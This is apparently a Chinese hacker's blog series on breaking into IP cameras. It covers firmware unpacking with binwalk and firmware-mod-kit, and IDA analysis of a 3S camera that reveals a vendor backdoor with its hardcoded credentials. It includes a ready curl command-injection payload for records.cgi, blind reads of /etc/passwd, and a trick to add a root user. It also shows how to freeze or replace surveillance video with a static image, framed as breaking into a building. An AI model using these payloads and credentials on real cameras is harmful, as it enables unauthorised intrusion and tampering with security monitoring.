TOOLS
github-binwalk
firmware-mod-kit
IDA
......
主要分析流程
通過binwalk分析識別固件文件
分離提取固件
把提取的elf載入到分析軟件(IDA)
開始分析研究吧~
binwalk
binwalk xxx.bin
最簡單的分析命令,通過簽名匹配來識別固件中的文件,可是單單通過這樣的簡單匹配可能有其他的文件類型不能識別,所以有時可以使用插件--enable-plugin=***
可以從圖中看出,0x32E8的便宜位置是gzip的壓縮包文件,0x8A6A88的便宜位置是linux內核鏡像的頭部,可以看到他的一些信息
binwalk xxx.bin --dd=類型:保存下來的擴展名
這樣,會把gzip的文件保存到本地以.gzip命名
也可以用binwalk自動化遞歸提取binwalk xxx.bin -eM
之后iou就可以通過解包等行為分析我們提取出來的文件了,不過,在一些簡單的分析情況下,我們這樣識別,分析,提取,過濾,解包,有些繁雜,此時就可以用fmk來幫我們很快的完成這些工作
p.s. 除了通過binwalk的內置函數進行提取,我們還可以通過dd命令來提取文件
dd if=xxx.bin bs=1 skip=[***] count=[***] of=outfilename
通過svn安裝fmk,我們來認識一下這個套件用到的東西
extract-firmware.sh使用來解包固件
build-firmware.sh使用來重新封包
check_for_upgrade.sh用來檢查更新
unsquashfs_all.sh使用來解包提取出來的squashfs文件
#!bash
./extract-firmware.sh xxx.bin
可以很方便的幫我們提取文件
之后,我們可以在當前目錄的fmk下找到提取出來的文件
logs目錄下還給我們提供了binwalk的log
rootfs下就是固件解包提取的文件了
網絡攝像頭hacking其實和其他嵌入式設備hacking類似,尤其和各種路由器的玩法相似,我們此處簡要以一個運用非常廣泛的網絡攝像頭為例,3s的攝像頭,在分析中,我發現了其廠商自帶的后門以及一個RCE,篇幅所限,第一篇筆記我們只提到后門(其實就是懶,不想碼字...)
通過上述過程解包提取文件,在/home/3s/bin/ 下,找到了他的webservice-httpd,在/home/3s/www/ 下是他的源碼
將httpd丟入IDA
很快看到有奇怪的東西亂入了...system.anonymousptz....why are u so diao
官方后門get,shodan上搜一搜發現在今年上半年已經有老外發過了,但是貌似這個后門至今3s公司依舊在其他的攝像頭型號里使用...給跪
影響所有N10xx到N50xx型號的攝像頭
我們通過ida分析N5071的webserver后發現了他至今使用的官方后門,已經可以通過后門未授權通過web訪問IPCAM進行研(偷)究(窺)了,但是作為一名hacker,這還不夠酷,在分析的過程中,我還發現了影響其N產品的一個遠程命令執行,雖是第一次做binary分析,但是很有趣,僅以此文做學習嵌入式設備hacking的記錄 :)
在N5071的代碼中,有很多諸如sprintf strcpy的不安全函數調用,當我們配合之前提到的后門時,那影響就是一片一片的~
這個系列產品是可以支持管理本地文件存儲的,在webserver中,有records.cgi控制
records.cgi使用來做刪除操作,會先交由函數do_records檢查是否存在文件
如果文件存在,那么就會拋給sprintf去做字符串格式化然后執行rm命令刪除,如圖:
那么,問題就來了,上學老師就告訴過,sprintf要不得,一點過濾都沒有而且這里還是用的system function
(web狗表示這里能夠搞定很開心~)
所以,我們可以利用官方那個后門訪問records.cgi,構造payload來進行命令注入從而執行系統命令
#!bash
curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`
執行poweroff后~
一直以來,hacking題材的電影都非常炫酷,黑客們入侵大樓在鍵盤上噼里啪啦,不多時就如入無人之境,分分鐘黑下大樓的所有系統,其中,對監控攝像頭的hacking描寫也很多,這次我們就來“意淫”一下,入侵大樓時,hacking監控攝像(文中案例都是我編的,請勿對號入座)
一般大樓內都有許多攝像頭,它們通常區分為網絡攝像頭和錄像機,錄像機是可以保存畫面數據的,先來大致了解一下他們是如何工作的:
如上圖,管理界面可以分屏查看當前在線的所有cam畫面
從簡易到拓撲我們可以看到,在整個系統中manage server用作管理下屬cam,通常有web ui,管理還可通過自己的設備接入進行管理操作,管理的日志和數據存放在數據庫中,說明是有數據查詢交互的,DVR錄像機的畫面數據也會存放在server中,而ipcam則會實時傳輸,也就是說,我們hacking的入手點,可以放在DVR,IPCAM,manager的web方向
也就是說,我們可以通過:
web ui(manager server) -->HTTP(apache。。。) -->OS(system)-->Hardware(DVR&&IPCAM)
OR
Hardware(DVR&&IPCAM) -->OS(system)-->HTTP(apache。。。) -->web ui(manager server)
一個是通過上層到底層,另一個則直接通過IPCAM或DVR的固件問題直接hacking
上一篇文章中我們通過執行payload時使用curl發包,用ping來檢測命令是否注入,在embedded devices hacking中,還有一些小trick可以幫助我們
很多時候,廠商對原始設備進行了二次開發,所以有些命令你在其他設備work,在目標設備就不work,所以我們可以多采用幾種命令進行測試,如curl,wget,nc
靈活使用linux命令進行字符串操作
#!bash
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1
// 檢測root,下面是一些更好的方式。
$ if test `sed -n '/^r/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1
$ if test `sed -n '/^ro/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1
$ if test `sed -n '/^roo/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1
$ if test `sed -n '/^root/{s/^\(.\{1\}\).*/\1/g;p}' /etc/passwd`;then echo 1;else echo 2;
fi
1
(學習自wooyun zone)
當遇到目標有限制字符時,可以寫入shell腳本進行執行
如果你非常不幸,遇到了一個閹割命令的busybox多嵌入式設備,權限很高卻無法執行命令,那么,你需要參考喔之前的一篇文章網絡設備中限制用戶命令交互的逃逸
ssh給我們提供了一個可以按照配置預期執行命令的功能,在$HOME/.ssh/ config中進行配置,我們可以達到這樣的效果,我們在配置文件中預期執行添加一個新的root用戶,UID為0且無限制執行命令,以此來逃逸網絡設備的限制問題
在電影里,我們除了看到黑客直接把大樓系統黑下,還經常看到篡改攝像頭的畫面,這是怎么做到的~DVR我沒研究過,所以暫時不發表觀點,在IPCAM,因為數據時以流的形式傳送的,所以,如果我們把數據傳輸的流掐斷,會怎樣呢~
答案是管理在web ui上看到的,會凍結在掐斷之前的畫面,之后攝像頭捕捉到到所有畫面都不會實時傳輸回去,以此來達到篡改的目的
舉個栗子,在Trendnet的一款攝像頭中,通過fmk分離固件,我看到了一個叫做mjpg.cgi的文件,這個cgi程序起到的作用就是用來傳輸攝像頭到web ui這個過程的,那么~
我只需要kill掉mjdp進程,整個畫面就凍結在kill之前的畫面了,在這個攻擊中,我甚至都不用ssh連接后本地執行,因為我們可以配合之前所說道的攻擊流程,直接對cam固件分析,通過類似RCE的方式kill~
有同學問到了一個問題,關于時間戳的事兒,這得分情況,如果是DVR的話,錄像畫面都是從存儲設備中調取,所以要篡改,需要更換文件(因為美研究過DVR,這是我意淫的)
對于IPCAM,有部分不帶時間戳,不用考慮這個問題,如果帶的,也不用擔心,因為他們處理畫面傳輸和時間的進程時兩個不同的,你kill了畫面的而已(這涉及到他設備的功能實現問題,如果他二者都在一起,當我沒說~)
但是~這并不是一個最好的hacking方法,因為這有一個弊端,如果管理員重新加載瀏覽管理頁面時,進程又會重啟,他又會得到實時的畫面傳輸
那么,大招來了,我們是不是可以通過什么攻擊方式來實時更改畫面傳輸,或者說,我們是不是可以通過更好的hacking手段來進行實時欺騙,答案很明顯~當然可以
我們可以通過一個很簡單的shell腳本來替換進程傳輸的畫面為你需要的一個靜態圖片來達到欺騙的目的,大概實現如下:
#!bash
echo -ne “HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n”
cat ztzsb.jpg
如何執行這個東西,就不用贅述了,你可以直接新建一個,也可以直接加入到cgi腳本中,讓他自己來執行,如果有更棒的方法,求告知學習~在執行我們的腳本后,管理得到的畫面將是你的欺騙畫面
多說一句的是,我比較推薦的是備份原始cgi,用新的腳本來執行欺騙,這樣有個好處是可以針對普遍情況的設備,避免二次開發或者不同設備對原始cgi的依賴問題,避免錯誤
之前的幾篇文章已經介紹了ipcam的幾種玩法和案例
在ipcam hacking_3中,我們還簡單的介紹了一種劫持攝像頭畫面傳輸的hacking手法
那么,我們今天就來主要看看劫持ipcam的姿勢
我們說過,如何對ipcam進行畫面劫持,得弄明白這款攝像頭實現畫面傳輸的邏輯,我們大概可以對劫持準備進行這么幾步:
很簡單,一步一步來,相對于白盒,直接黑盒測試更方便判斷協議和找到處理腳本,然后在針對的進行白盒分析
固件分離我們就不說了,可以參看我之前的幾篇文章,我們在視頻傳輸的功能頁面進行抓包,得到這樣的報文:
#!bash
GET /videostream.cgi HTTP/1.1
Host: 10.10.1.3
Connection: keep-alive
Authorization: Basic YWRtaW46
HTTP/1.1 200 OK
Server: Netwave IP Camera
Date: Thu, 01 Jan 1970 22:10:36 GMT
Accept-Ranges: bytes
Connection: close
Content-Type: multipart/x-mixed-replace;boundary=ipcamera
--ipcamera
Content-Type: image/jpeg
Content-Length: 17561
......JFIF..............Lavc54.27.100....Cztzztzztzztzztzztz
鏈接類型是multipart/x-mixed-replace,通過http協議來模擬畫面的推送
就是說每次的畫面傳輸都是ipcam使用的mjpeg流的傳輸,畫面就是一張圖一張圖連貫起來形成的視頻畫面
同樣,在web界面中的畫面監控的地方進行抓包,得到了整個傳輸過程的報文
從live.html --> cam.html --> videostream.cgi
通過使用fmk對固件分離,grep找到了videostream.cgi是寫在handle_cgi_requests這個bin文件中的
通過鼠標滾輪大法,我發現除了videostream.cgi這個文件控制畫面傳輸功能之外,還有videostream.asf,這在之前的黑盒測試中是無法發現的
所以我們一會兒分析的時候除了videostream.cgi還有videostream.asf
可能有朋友要問了,你不會順著跟蹤函數來分析功能么?為什么還傻乎乎的滾鼠標一個一個找? (QAQ因為我是web狗)
因為這個固件是將功能寫入到bin文件中的,所以找到其實現的函數也是在bin中找(web狗壓力好大。。。)
通過跟蹤videostream.cgi和videostream.asf,可以找到這樣一個函數
函數功能用于接收攝像頭捕捉到的畫面并且會返回一個相應的包頭和jpg的數據
(接下來就是對這個bin文件的詳細分析,web狗做的分析,肯定有很多不對,求各位斧正)
#!bash
image_counter = 0;
image_data = malloc(size_of_image);
[r4, #4] = image_data;
sprintf(&image_data, "/home/my_picture_%d",
image_counter);
f = fopen(image_data, "rb");
fread(&image_data, 1, size_of_image, f);
fclose(f);
[R4, #0xC] = size_of_image;
image_counter ++;
image_counter = image_counter % number_of_images;
看得出來,每次畫面的選取都是從/home/my_picture這里選取的,因為之前說過,整個畫面傳輸的工作都是連續的圖片傳輸,所以,如果我們可以對這里的文件進行批量的寫操作,就能夠對畫面進行實時欺騙了呢
yep,但是對ipcam的畫面劫持的前提是,你需要獲得到這個攝像頭的會話,并且有一定權限,對文件進行寫操作
所以,整個過程,應該是這樣:
在我對視頻流劫持查找資料學習的時候,我找到了一個小玩意videojak
videojak是一個很簡單的ipcam的安全測試工具,它可以在你獲取到的ipcam中做一個類似MITM的中間人攻擊,直接劫持整個畫面的傳輸流,或者重放上一個傳輸流
挺好玩呢
還有一個針對2013年blackhat大會上,Craig Heffner大神的好萊塢hacking議題中提到的所有攝像頭漏洞的直接利用工具,ipcamshell
ipcamshell可以幫助你直接獲取一個交互式的會話,并且拿到這個攝像頭的認證用戶名和密碼
文章最后,感謝各位不噴我這班門弄斧的crack水平和bin分析,因為每款型號的攝像頭的固件功能實現都不相同,所以文中的例子只是一個例子而已,主要是介紹一下整個分析思路和過程。
我也還在折騰學習攝像頭方面的hacking,希望各位不吝賜教~